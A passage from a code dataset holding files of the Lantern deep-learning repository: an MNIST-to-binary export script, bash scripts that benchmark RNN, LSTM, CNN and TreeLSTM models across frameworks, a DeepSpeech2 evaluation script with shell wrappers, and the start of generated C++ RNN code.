batch_size=1, shuffle=False, **kwargs)\ntest_loader = torch.utils.data.DataLoader(\n datasets.MNIST('../data', train=False, transform=\n transforms.ToTensor()),\n batch_size=1, shuffle=False, **kwargs)\n\nimport os\ntarget_dir = '../data/bin/'\nif not os.path.exists(target_dir):\n os.makedirs(target_dir)\n\ndef train():\n with open(target_dir + 'mnist_train.bin', 'wb') as f:\n with open(target_dir + 'mnist_train_target.bin', 'wb') as g:\n for batch_idx, (data, target) in enumerate(train_loader):\n for by in data.storage().tolist():\n f.write(struct.pack(\"@f\", by))\n for by in target.storage().tolist():\n g.write(struct.pack(\"@i\", int(by)))\n if batch_idx % args.log_interval == 0:\n print('[{}/{} ({:.0f}%)]'.format(\n batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader)))\n\ndef test():\n with open(target_dir + 'mnist_test.bin', 'wb') as f:\n with open(target_dir + 'mnist_test_target.bin', 'wb') as g:\n for data, target in test_loader:\n for by in data.storage().tolist():\n f.write(struct.pack(\"@f\", by))\n for by in target.storage().tolist():\n g.write(struct.pack(\"@i\", int(by)))\n\ntrain()\ntest()\n" }, { "alpha_fraction": 0.7579870820045471, "alphanum_fraction": 0.7790770530700684, "avg_line_length": 37.934959411621094, "blob_id": "6afb63d1396814fa118048abe01f63a56cc81fcf", "content_id": "98c7e35879ab4abe83e869e52d9d0e72b6fc2d02", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 4789, "license_type": "permissive", "max_line_length": 151, "num_lines": 123, "path": "/src/out/NIPS18evaluation/run_exp.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\necho \"Note: make sure you are using the most updated .cpp file!\"\necho \"Note: we assume the system has python-pip python-dev python-virtualenv\"\n\n# python3 -m venv python3-env\n# source python3-env/bin/activate\n# pip3 install --upgrade tensorflow\n# pip3 install torch torchvision\n# pip3 install dynet\n# pip3 install matplotlib\n\nexport OPENBLAS_NUM_THREADS=1\n\nsource python3-env/bin/activate\ncd evaluationRNN\necho \"Note: Let's run vanilla RNN experiment first\"\necho \"RUN: run Lantern\"\ng++ -std=c++11 -O3 -Wno-pointer-arith Lantern.cpp -o Lantern -I /opt/OpenBLAS/include -L /opt/OpenBLAS/lib -lopenblas\nnumactl -C 0 ./Lantern result_Lantern.txt\necho \"RUN: run PyTorch\"\nnumactl -C 0 python3 min-char-rnn-pytorch.py result_PyTorch.txt\necho \"RUN: run TensorFlow\"\nnumactl -C 0 python3 min-char-rnn-tf.py result_TensorFlow.txt\necho \"RUN: plotting\"\npython3 ../plot.py vanilla_RNN result_Lantern.txt result_PyTorch.txt result_TensorFlow.txt\necho \"RESULT: vanilla RNN experiment successful\"\ncd ..\n\ncd evaluationLSTM\necho \"Note: Let's run LSTM experiment now\"\necho \"RUN: run Lantern\"\ng++ -std=c++11 -O3 -Wno-pointer-arith Lantern.cpp -o Lantern -I /opt/OpenBLAS/include -L /opt/OpenBLAS/lib -lopenblas\nnumactl -C 0 ./Lantern result_Lantern.txt\necho \"RUN: run PyTorch\"\nnumactl -C 0 python3 min-char-lstm-pytorch.py result_PyTorch.txt\necho \"RUN: run TensorFlow\"\nnumactl -C 0 python3 min-char-lstm-tf.py result_TensorFlow.txt\necho \"RUN: plotting\"\npython3 ../plot.py LSTM result_Lantern.txt result_PyTorch.txt result_TensorFlow.txt\necho \"RESULT: LSTM experiment successful\"\ncd ..\n\ncd evaluationCNN\ncd PyTorch\necho \"Note: Let's run CNN in PyTorch first, which also helps downloading the training data\"\necho \"Download data and also extract data for Lantern to use\"\npython3 download_data.py\npython3 extract_data.py\necho \"RUN: PyTorch CNN with batch size 100 and learning rate 0.05\"\nnumactl -C 0 python3 PyTorch.py\necho \"Result: PyTorch CNN run successfully\"\ncd ..\ncd TensorFlow\necho \"Note: now Let's run TensorFlow CNN. Need to use another install with MKL support\"\ndeactivate\necho \"RUN: TensorFlow CNN with batch size 100 and learning rate 0.05\"\nnumactl -C 0 python3 TensorFlow.py\necho \"Result: TensorFlow CNN run successfully\"\ncd ..\ncd Lantern\necho \"Note: Let's run Lantern now with batch size 100\"\ng++ -std=c++11 -O3 -Wno-pointer-arith Lantern.cpp -o Lantern -I /opt/OpenBLAS/include -L /opt/OpenBLAS/lib -lopenblas\necho \"RUN: Lantern CNN\"\nnumactl -C 0 ./Lantern result_Lantern.txt\necho \"Result: Lantern CNN successful\"\ncd ..\nsource ../python3-env/bin/activate\necho \"RUN: copy the result files and do plotting\"\ncp Lantern/result_Lantern.txt result_Lantern.txt\ncp PyTorch/result_PyTorch100.txt result_PyTorch.txt\ncp TensorFlow/result_TensorFlow100.txt result_TensorFlow.txt\npython3 ../plot.py CNN result_Lantern.txt result_PyTorch.txt result_TensorFlow.txt\necho \"RESULT: run CNN experiment successful\"\ncd ..\n\ncd evaluationTreeLSTM\necho \"Note: Let's run TreeLSTM experiment now\"\necho \"Now let's run Lantern\"\ncd Lantern\necho \"RUN: run Lantern\"\ng++ -std=c++11 -O3 -Wno-pointer-arith Lantern.cpp -o Lantern -I /opt/OpenBLAS/include -L /opt/OpenBLAS/lib -lopenblas\nOPENBLAS_NUM_THREADS=1 numactl -C 0 ./Lantern result_Lantern.txt\necho \"Result: run sentiment in Lantern is successful\"\ncd ..\necho \"Now let's run Dynet\"\ncd Dynet\necho \"RUN: run dynet without autobatching\"\nnumactl -C 0 python3 treelstmDynet.py result_DyNetNB.txt\necho \"RUN: run dynet with autobatching\"\nnumactl -C 0 python3 treelstmDynet.py result_DyNetB.txt --dynet-autobatch 1\necho \"Result: run sentiment in Dynet is successful\"\ncd ..\necho \"Now let's run PyTorch\"\ncd PyTorch\nnumactl -C 0 python3 treeLSTM.py\ncd ..\ncd TensorFold\necho \"RUN: run TensorFold\"\npython3 preprocess_data.py\n\necho \"Note: now Let's run TensorFlow Fold. Need to use another install with TensorFlow 1.0 and TensorFold install\"\ndeactivate\n\n# python3 -m venv tensorfold-dev\n# source tensorfold-dev/bin/activate\n# pip3 install tensorflow==1.0.0\n# pip install https://storage.googleapis.com/tensorflow_fold/tensorflow_fold-0.0.1-py3-none-linux_x86_64.whl\n# pip3 install matplotlib\n\nsource tensorfold-dev/bin/activate\nnumactl -C 0 python3 TreeLSTMTensorFlow.py result_TensorFold20.txt\necho \"Result: run sentiment in TensorFold is successful\"\ncd ..\necho \"RUN: copy the result files and do plotting\"\ncp Lantern/result_Lantern.txt result_Lantern.txt\ncp PyTorch/result_PyTorch.txt result_PyTorch.txt\ncp TensorFold/result_TensorFold20.txt result_TensorFold20.txt\ncp Dynet/result_DyNetNB.txt result_DyNetNB.txt\ncp Dynet/result_DyNetB.txt result_DyNetB.txt\npython3 ../plot.py TreeLSTM result_Lantern.txt result_PyTorch.txt result_TensorFold20.txt result_DyNetNB.txt result_DyNetB.txt # result_TensorFold1.txt\necho \"RESULT: run TreeLSTM experiment successful\"\ncd ..\ndeactivate\n" }, { "alpha_fraction": 0.6007102727890015, "alphanum_fraction": 0.6053712368011475, "avg_line_length": 35.77959060668945, "blob_id": "0e667abc53f09b02677c107752285fafd2e68ba5", "content_id": "06b3b0b2eae8c35284c92042f6b30496df32cb37", "detected_licenses": [ "BSD-3-Clause", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9011, "license_type": "permissive", "max_line_length": 91, "num_lines": 245, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/src/deepSpeech_test.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "# Author: Lakshmi Krishnan\n# Email: [email protected]\n# Author: YAO Matrix\n# Email: [email protected]\n\n\"\"\"Evaluation for DeepSpeech2.\n\nUsage:\nPlease see the tutorial and website for how to download the Librispeech\ndata set, generate the TFRecord files of features and train the model.\n\n\"\"\"\n\nimport json\nimport os\nimport math\nimport time\nimport argparse\nfrom datetime import datetime\nimport numpy as np\nfrom Levenshtein import distance\nimport distutils.util\n\nimport tensorflow as tf\n\n# Note this definition must match the ALPHABET chosen in\n# preprocess_Librispeech.py\nALPHABET = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ' \"\nIX_TO_CHAR = {i: ch for (i, ch) in enumerate(ALPHABET)}\n\n\ndef parse_args():\n \"\"\" Parses command line arguments.\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('--eval_dir', type=str,\n default='../models/librispeech/eval',\n help='Directory to write event logs')\n parser.add_argument('--checkpoint_dir', type=str,\n default='../models/librispeech/train',\n help='Directory where to read model checkpoints.')\n parser.add_argument('--eval_data', type=str, default='val',\n help=\"Either 'test' or 'val' or 'train' \")\n parser.add_argument('--batch_size', type=int, default=1,\n help='Number of feats to process in a batch')\n parser.add_argument('--eval_interval_secs', type=int, default=60 * 5,\n help='How often to run the eval')\n parser.add_argument('--data_dir', type=str,\n default='../data/LibriSpeech/processed/',\n help='Path to the deepSpeech data directory')\n parser.add_argument('--run_once', type=distutils.util.strtobool, default=False,\n help='Whether to run eval only once')\n parser.add_argument('--engine', type=str, default='tf',\n help = 'Select the engine you use: tf, mkl, mkldnn_rnn, cudnn_rnn')\n parser.add_argument('--nchw', type=distutils.util.strtobool, default=True,\n help = 'Whether to use nchw memory layout')\n args = parser.parse_args()\n\n print \"nchw: \", args.nchw\n print \"engine: \", args.engine\n\n # Read saved parameters from file\n param_file = os.path.join(args.checkpoint_dir,\n 'deepSpeech_parameters.json')\n with open(param_file, 'r') as file:\n params = json.load(file)\n # Read network architecture parameters from\n # previously saved parameter file.\n args.num_hidden = params['num_hidden']\n args.num_rnn_layers = params['num_rnn_layers']\n args.rnn_type = params['rnn_type']\n args.num_filters = params['num_filters']\n args.use_fp16 = params['use_fp16']\n args.moving_avg_decay = params['moving_avg_decay']\n return args\n\nARGS = parse_args()\n\nif ARGS.nchw:\n import deepSpeech_NCHW as deepSpeech\nelse:\n import deepSpeech\n\n\ndef sparse_to_labels(sparse_matrix):\n \"\"\" Convert index based transcripts to strings\"\"\"\n\n results = [''] * sparse_matrix.dense_shape[0]\n for i, val in enumerate(sparse_matrix.values.tolist()):\n results[sparse_matrix.indices[i, 0]] += IX_TO_CHAR[val]\n return results\n\n\ndef initialize_from_checkpoint(sess, saver):\n \"\"\" Initialize variables on the graph\"\"\"\n\n # Initialise variables from a checkpoint file, if provided.\n ckpt = tf.train.get_checkpoint_state(ARGS.checkpoint_dir)\n if ckpt and ckpt.model_checkpoint_path:\n # Restores from checkpoint\n saver.restore(sess, ckpt.model_checkpoint_path)\n # Assuming model_checkpoint_path looks something like:\n # /my-favorite-path/train/model.ckpt-0,\n # extract global_step from it.\n checkpoint_path = ckpt.model_checkpoint_path\n global_step = checkpoint_path.split('/')[-1].split('-')[-1]\n return global_step\n else:\n print('No checkpoint file found')\n return\n\n\ndef inference(predictions_op, true_labels_op, display, sess):\n \"\"\" Perform inference per batch on pre-trained model.\n This function performs inference and computes the CER per utterance.\n Args:\n predictions_op: Prediction op\n true_labels_op: True Labels op\n display: print sample predictions if True\n sess: default session to evaluate the ops.\n Returns:\n char_err_rate: list of CER per utterance.\n \"\"\"\n char_err_rate = []\n # Perform inference of batch worth of data at a time.\n [predictions, true_labels] = sess.run([predictions_op,\n true_labels_op])\n pred_label = sparse_to_labels(predictions[0][0])\n actual_label = sparse_to_labels(true_labels)\n for (label, pred) in zip(actual_label, pred_label):\n char_err_rate.append(distance(label, pred) / len(label))\n\n if display:\n # Print sample responses\n for i in range(ARGS.batch_size):\n print(actual_label[i] + ' vs ' + pred_label[i])\n return char_err_rate\n\n\ndef eval_once(sess, saver, summary_writer, predictions_op, summary_op,\n true_labels_op):\n \"\"\"Run Eval once.\n\n Args:\n saver: Saver.\n summary_writer: Summary writer.\n predictions_ops: Op to compute predictions.\n summary_op: Summary op.\n \"\"\"\n\n # Initialize weights from checkpoint file.\n global_step = initialize_from_checkpoint(sess, saver)\n\n # Start the queue runners.\n coord = tf.train.Coordinator()\n try:\n threads = []\n for queue_runners in tf.get_collection(tf.GraphKeys.QUEUE_RUNNERS):\n threads.extend(queue_runners.create_threads(sess, coord=coord,\n daemon=True,\n start=True))\n # Only using a subset of the training data\n if ARGS.eval_data == 'train':\n num_examples = 2048\n elif ARGS.eval_data == 'val':\n num_examples = 2703\n elif ARGS.eval_data == 'test':\n num_examples = 2620\n num_iter = int(math.ceil(num_examples / ARGS.batch_size))\n step = 0\n char_err_rate = []\n while step < num_iter and not coord.should_stop():\n print \"step: \", step\n char_err_rate.append(inference(predictions_op, true_labels_op,\n True, sess))\n step += 1\n\n # Compute and print mean CER\n avg_cer = np.mean(char_err_rate) * 100\n print('%s: char_err_rate = %.3f %%' % (datetime.now(), avg_cer))\n\n # Add summary ops\n summary = tf.Summary()\n summary.ParseFromString(sess.run(summary_op))\n summary.value.add(tag='char_err_rate', simple_value=avg_cer)\n summary_writer.add_summary(summary, global_step)\n except Exception as exc: # pylint: disable=broad-except\n coord.request_stop(exc)\n\n # Close threads\n coord.request_stop()\n coord.join(threads, stop_grace_period_secs=10)\n\n\ndef evaluate():\n \"\"\" Evaluate deepSpeech modelfor a number of steps.\"\"\"\n\n with tf.Graph().as_default() as graph:\n # Get feats and labels for deepSpeech.\n feats, labels, seq_lens = deepSpeech.inputs(ARGS.eval_data,\n data_dir=ARGS.data_dir,\n batch_size=ARGS.batch_size,\n use_fp16=ARGS.use_fp16,\n shuffle=True)\n session = tf.Session()\n\n # Build ops that computes the logits predictions from the\n # inference model.\n ARGS.keep_prob = 1.0 # Disable dropout during testing.\n logits = deepSpeech.inference(session, feats, seq_lens, ARGS)\n\n # Calculate predictions.\n output_log_prob = tf.nn.log_softmax(logits)\n decoder = tf.nn.ctc_greedy_decoder\n strided_seq_lens = deepSpeech.get_rnn_seqlen(seq_lens)\n predictions = decoder(output_log_prob, strided_seq_lens)\n\n # Restore the moving average version of the learned variables for eval.\n variable_averages = tf.train.ExponentialMovingAverage(ARGS.moving_avg_decay)\n variables_to_restore = variable_averages.variables_to_restore()\n saver = tf.train.Saver(variables_to_restore)\n\n # Build the summary operation based on the TF collection of Summaries.\n summary_op = tf.summary.merge_all()\n summary_writer = tf.summary.FileWriter(ARGS.eval_dir, graph)\n\n while True:\n eval_once(session, saver, summary_writer, predictions, summary_op, labels)\n\n if ARGS.run_once:\n break\n time.sleep(ARGS.eval_interval_secs)\n\n\ndef main():\n \"\"\"\n Create eval directory and perform inference on checkpointed model.\n \"\"\"\n if tf.gfile.Exists(ARGS.eval_dir):\n tf.gfile.DeleteRecursively(ARGS.eval_dir)\n tf.gfile.MakeDirs(ARGS.eval_dir)\n evaluate()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6441047787666321, "alphanum_fraction": 0.6742358207702637, "avg_line_length": 42.18867874145508, "blob_id": "280adbe691bb87711aa0fc6744a8349b7eee12fb", "content_id": "43faae03565cdfac938638c406bce8e723a99357", "detected_licenses": [ "BSD-3-Clause", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2290, "license_type": "permissive", "max_line_length": 347, "num_lines": 53, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/src/train.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nclear\ncur_dir=$(cd \"$(dirname $0)\";pwd)\n# echo ${cur_dir}\nexport PYTHONPATH=${cur_path}:$PYTHONPATH\n# echo $PYTHONPATH\nexport LD_LIBRARY_PATH=/opt/cuda-10.0/extras/CUPTI/:$LD_LIBRARY_PATH\n\n# activate Intel Python\n# source /opt/intel/intelpython2/bin/activate\n\n# environment variables\nunset TF_CPP_MIN_VLOG_LEVEL\n# export TF_CPP_MIN_VLOG_LEVEL=2\n\n# clear\necho \"-----------------------------------\"\necho \"Start training\"\n\ndummy=False # True or False\nnchw=False # True or False\ndebug=False # True or False\nengine=\"tf\" # tf, mkl, cudnn_rnn, mkldnn_rnn\n\n# echo $dummy\n\nconfig_check_one=`test \"${nchw}\" = \"False\" && test \"${engine}\"x = \"tf\"x -o \"${engine}\"x = \"cudnn_rnn\"x && echo 'OK'`\n# echo \"check one: \"$config_check_one\nconfig_check_two=`test \"${nchw}\" = \"True\" && test \"${engine}\"x == \"mkl\"x -o \"${engine}\"x = \"mkldnn_rnn\"x && echo 'OK'`\n# echo \"check two: \"$config_check_two\ncheck=`test ${config_check_one}x = \"OK\"x -o ${config_check_two}x = \"OK\"x && echo 'OK'`\n# echo \"check: \"$check\n\nif [[ ${check}x != \"OK\"x ]];then\n echo \"unsupported configuration conbimation\"\n exit -1\nfi\n\nmodel_dir='../models/librispeech/train'\n\ndata_dir='/scratch/wu636/Lantern/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/data/processed/'\n\nCUDA_VISIBLE_DEVICES=3 python xilun_deepSpeech_train.py --batch_size 32 --no-shuffle --max_steps 892 --num_rnn_layers 3 --num_hidden 1024 --num_filters 32 --initial_lr 5e-4 --train_dir $model_dir --data_dir $data_dir --debug ${debug} --nchw ${nchw} --engine ${engine} --dummy ${dummy} #--log_device_placement True\n\n# CUDA_VISIBLE_DEVICES=3 python2.7 xilun_deepSpeech_train.py --batch_size 32 --no-shuffle --max_steps 14256 --num_rnn_layers 3 --rnn_type unidirectional --num_hidden 1024 --num_filters 32 --initial_lr 5e-4 --train_dir $model_dir --data_dir $data_dir --debug ${debug} --nchw ${nchw} --engine ${engine} --dummy ${dummy} #--log_device_placement True\n\n#CUDA_VISIBLE_DEVICES=1 python2.7 deepSpeech_train.py --batch_size 32 --no-shuffle --max_steps 400000 --num_rnn_layers 3 --num_hidden 1024 --num_filters 32 --initial_lr 5e-4 --train_dir $model_dir --data_dir $data_dir --debug ${debug} --nchw ${nchw} --engine ${engine} --dummy ${dummy}\n\necho \"Done\"\n\n# deactivate Intel Python\n# source /opt/intel/intelpython2/bin/deactivate\n\n" }, { "alpha_fraction": 0.6491875648498535, "alphanum_fraction": 0.6543574333190918, "avg_line_length": 30.465116500854492, "blob_id": "59bef0223cf3eb53d60fd5e687d7af00653ce9f2", "content_id": "ee43d54466158a769838971f19674dc9f4da43e4", "detected_licenses": [ "BSD-3-Clause", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1354, "license_type": "permissive", "max_line_length": 118, "num_lines": 43, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/src/test.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# This script trains a deepspeech model in tensorflow with sorta-grad.\n# usage ./train.sh or ./train.sh dummy\n\n\nclear\ncur_dir=$(cd \"$(dirname $0)\";pwd)\n# echo ${cur_dir}\nexport PYTHONPATH=${cur_path}:/home/matrix/inteltf/:$PYTHONPATH\n# echo $PYTHONPATH\nexport LD_LIBRARY_PATH=/usr/local/cuda/extras/CUPTI/lib64/:$LD_LIBRARY_PATH\n\n# activate Intel Python\n# source /opt/intel/intelpython2/bin/activate\n\n# environment variables\nunset TF_CPP_MIN_VLOG_LEVEL\n# export TF_CPP_MIN_VLOG_LEVEL=1\n\n# clear\necho \"-----------------------------------\"\necho \"Start testing\"\n\nnchw=True # True or False\nengine=\"mkl\" # tf, mkl, cudnn_rnn, mkldnn_rnn\n\nconfig_check_one=`test \"${nchw}\" = \"False\" && test \"${engine}\"x = \"tf\"x -o \"${engine}\"x = \"cudnn_rnn\"x && echo 'OK'`\n# echo \"check one: \"$config_check_one\nconfig_check_two=`test \"${nchw}\" = \"True\" && test \"${engine}\"x == \"mkl\"x -o \"${engine}\"x = \"mkldnn_rnn\"x && echo 'OK'`\n# echo \"check two: \"$config_check_two\ncheck=`test ${config_check_one}x = \"OK\"x -o ${config_check_two}x = \"OK\"x && echo 'OK'`\n# echo \"check: \"$check\n\nif [[ ${check}x != \"OK\"x ]];then\n echo \"unsupported configuration conbimation\"\n exit -1\nfi\n\npython deepSpeech_test.py --eval_data 'test' --nchw ${nchw} --engine ${engine} --run_once True\necho \"Done\"\n\n# deactivate Intel Python\n# source /opt/intel/intelpython2/bin/deactivate\n\n" }, { "alpha_fraction": 0.38096529245376587, "alphanum_fraction": 0.6351795792579651, "avg_line_length": 22.81421661376953, "blob_id": "4d61ba538a300a4aa299889b248e4ec179ba8a79", "content_id": "7d04a1c6e02a67db19fb017203e1b6d348818e10", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 29483, "license_type": "permissive", "max_line_length": 114, "num_lines": 1238, "path": "/src/out/NIPS18evaluation/evaluationRNN/Lantern.cpp", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#include <assert.h>\n#include <err.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <functional>\n#include <math.h>\n#include <memory>\n#include <random>\n#include <stdint.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <sys/time.h>\n#include <time.h>\n#include <unistd.h>\n#include <cblas.h>\n#include <algorithm>\n#include <numeric>\n\nusing namespace std;\n#ifndef MAP_FILE\n#define MAP_FILE MAP_SHARED\n#endif\n\nlong fsize(int fd) {\n struct stat stat;\n int res = fstat(fd, &stat);\n return stat.st_size;\n}\n\nint printll(char *s) {\n while (*s != '\\n' && *s != ',' && *s != '\\t') {\n putchar(*s++);\n }\n return 0;\n}\n\nlong hash(char *str0, int len) {\n unsigned char *str = (unsigned char *)str0;\n unsigned long hash = 5381;\n int c;\n\n while ((c = *str++) && len--)\n hash = ((hash << 5) + hash) + c; /* hash * 33 + c */\n\n return hash;\n}\n\nlong HEAP_SIZE_CPU = 1073741826; // 1048576; // 536870912; // 268435456; // 2097152; 1610612739; // 4294967304; //\nvoid *mallocBase = calloc(HEAP_SIZE_CPU, 1);\nvoid *mallocAddr = mallocBase;\nvoid *waterMark = mallocBase;\nvoid *myMalloc(size_t bytes) {\n void *res = mallocAddr;\n mallocAddr = (void *)((char *)mallocAddr + bytes);\n if ((long)mallocAddr >= (long)mallocBase + HEAP_SIZE_CPU)\n fprintf(stderr, \"CPU memory breached limit of HEAP_SIZE_CPU\\n\");\n return res;\n}\n\nlong HEAP_SIZE = 8589934608; // 4294967304; // this is for GPU\n\nint timeval_subtract(struct timeval *result, struct timeval *t2, struct timeval *t1) {\n long int diff = (t2->tv_usec + 1000000 * t2->tv_sec) - (t1->tv_usec + 1000000 * t1->tv_sec);\n result->tv_sec = diff / 1000000;\n result->tv_usec = diff % 1000000;\n return (diff < 0);\n}\n\n\n\nvoid Snippet(char *);\n\nstd::random_device rd{};\nstd::mt19937 gen{rd()};\nstd::normal_distribution<> d{0, 0.01};\n\nint main(int argc, char *argv[]) {\n if (argc != 2) {\n printf(\"usage: query <filename>\\n\");\n return 0;\n }\n Snippet(argv[1]);\n return 0;\n}\n\n/*****************************************\n Emitting C Generated Code \n*******************************************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdbool.h>\nvoid Snippet(char* x0) {\n// Backend setup.\ndouble x2 = ((double)clock() / CLOCKS_PER_SEC);\nint32_t x3 = open(\"graham.txt\",0);\nint64_t x4 = fsize(x3);\nint32_t x5 = (int32_t)x4;\nint* x8 = (int32_t*)myMalloc(x5 * sizeof(int32_t));;\nint64_t x6 = (int64_t)x5;\nchar* x7 = (char*)mmap(0, x6, PROT_READ | PROT_WRITE, MAP_FILE | MAP_PRIVATE, x3, 0);\nfor(int x10=0; x10 < x5; x10++) {\nchar x11 = x7[x10];\nint32_t x12 = (int32_t ) x11;\nint32_t x13 = x12 - 96;\nx8[x10] = x13;\n\n}\nfloat* x17 = (float*)myMalloc(1300 * sizeof(float));;\nfor(int x19=0; x19 < 1300; x19++) {\nfloat x20 = (float)rand()/RAND_MAX;\nfloat x21 = x20 - 0.5f;\nfloat x22 = x21 * 0.19611613f;\nx17[x19] = x22;\n\n}\nfloat* x27 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x28 = (float*)myMalloc(2500 * sizeof(float));;\nfor(int x30=0; x30 < 2500; x30++) {\nfloat x31 = (float)rand()/RAND_MAX;\nfloat x32 = x31 - 0.5f;\nfloat x33 = x32 * 0.14142136f;\nx28[x30] = x33;\n\n}\nfloat* x37 = (float*)myMalloc(2500 * sizeof(float));;\nfloat* x38 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x39 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x40 = (float*)myMalloc(1300 * sizeof(float));;\nfor(int x41=0; x41 < 1300; x41++) {\nfloat x42 = (float)rand()/RAND_MAX;\nfloat x43 = x42 - 0.5f;\nfloat x44 = x43 * 0.14142136f;\nx40[x41] = x44;\n\n}\nfloat* x48 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x49 = (float*)myMalloc(26 * sizeof(float));;\nfloat* x50 = (float*)myMalloc(26 * sizeof(float));;\nfloat* x51 = (float*)myMalloc(26 * sizeof(float));;\nfloat* x52 = (float*)myMalloc(1300 * sizeof(float));;\nfloat* x53 = (float*)myMalloc(2500 * sizeof(float));;\nfloat* x54 = (float*)myMalloc(50 * sizeof(float));;\nfloat* x55 = (float*)myMalloc(1300 * sizeof(float));;\ndouble* x56 = (double*)myMalloc(51 * sizeof(double));;\ndouble x57 = ((double)clock() / CLOCKS_PER_SEC);\nint64_t x58 = (long)mallocAddr;\nint32_t x59 = 0;\nx59 -= 400;\nbool x304 = true || true;\nbool x305 = x304 || true;\nbool x552 = true || false;\nfor(int x62=0; x62 < 5001; x62++) {\nfloat* x87 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x88 = (float*)myMalloc(10400 * sizeof(float));;\nfloat* x105 = (float*)myMalloc(10400 * sizeof(float));;\nint* x72 = (int32_t*)myMalloc(400 * sizeof(int32_t));;\nfunction<void(int32_t,float**)> x321 = [&](int32_t x322,float** x323) {\nfloat** x325 = x323;\nfloat* x326 = x325[0];\nfloat* x327 = x325[1];\nfloat* x328 = x325[2];\nfloat* x329 = x325[3];\nint32_t x324 = x322;\nbool x330 = x324 < 20;\nif (x330) {\nint32_t x331 = x324 * 520;\nfloat* x332 = x88+x331;\nfloat* x333 = x105+x331;\nfloat* x334 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,26,1,x332,26,x17,50,0,x334,50);\nfloat* x336 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x337 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,50,1,x328,50,x28,50,0,x337,50);\nfloat* x339 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x340 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x341=0; x341 < 20; x341++) {\nint32_t x343 = 50 * x341;\nfor(int x342=0; x342 < 50; x342++) {\nint32_t x345 = x343 + x342;\nfloat x346 = x334[x345];\nfloat x347 = x337[x345];\nint32_t x344 = x342 + x343;\nfloat x348 = x346 + x347;\nx340[x344] = x348;\n\n}\n\n}\nfloat* x354 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x355 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x356=0; x356 < 20; x356++) {\nint32_t x358 = 50 * x356;\nfor(int x357=0; x357 < 50; x357++) {\nint32_t x360 = x358 + x357;\nfloat x361 = x340[x360];\nfloat x362 = x38[x357];\nint32_t x359 = x357 + x358;\nfloat x363 = x361 + x362;\nx355[x359] = x363;\n\n}\n\n}\nfloat* x369 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x370 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x371=0; x371 < 1000; x371++) {\nfloat x372 = x355[x371];\ndouble x373 = (double)x372;\ndouble x374 = tanh(x373);\nfloat x375 = (float)x374;\nx370[x371] = x375;\n\n}\nfloat* x379 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x380 = (float*)myMalloc(520 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,26,50,1,x370,50,x40,26,0,x380,26);\nfloat* x382 = (float*)myMalloc(520 * sizeof(float));;\nfor(int x383=0; x383 < 20; x383++) {\nint32_t x385 = 26 * x383;\nfor(int x384=0; x384 < 26; x384++) {\nint32_t x386 = x385 + x384;\nfloat x387 = x380[x386];\nfloat x388 = x49[x384];\nfloat x389 = x387 + x388;\nx380[x386] = x389;\n\n}\n\n}\nint* x395 = (int32_t*)myMalloc(20 * sizeof(int32_t));;\nfor(int x396=0; x396 < 20; x396++) {\nint32_t x397 = x396 * 20;\nint32_t x398 = x324 + x397;\nint32_t x399 = x72[x398];\nx395[x396] = x399;\n\n}\nfloat* x403 = (float*)myMalloc(20 * sizeof(float));;\nint32_t x404 = 0;\nfor(int x405=0; x405 < 20; x405++) {\nfloat x406 = -3.4028235E38f;\nfor(int x407=0; x407 < 26; x407++) {\nint32_t x408 = x404;\nfloat x409 = x380[x408];\nfloat x410 = x406;\nbool x411 = x409 > x410;\nif (x411) {\nfloat x412 = x380[x408];\nx406 = x412;\n} else {\n}\nx404 += 1;\n\n}\nfloat x419 = x406;\nx403[x405] = x419;\n\n}\nfloat* x423 = (float*)myMalloc(520 * sizeof(float));;\nint32_t x424 = 0;\nfor(int x425=0; x425 < 20; x425++) {\nfor(int x426=0; x426 < 26; x426++) {\nint32_t x427 = x424;\nfloat x428 = x380[x427];\nfloat x429 = x403[x425];\nfloat x430 = x428 - x429;\ndouble x431 = (double)x430;\ndouble x432 = exp(x431);\nfloat x433 = (float)x432;\nx423[x427] = x433;\nx424 += 1;\n\n}\n\n}\nfloat* x440 = (float*)myMalloc(20 * sizeof(float));;\nfor(int x441=0; x441 < 20; x441++) 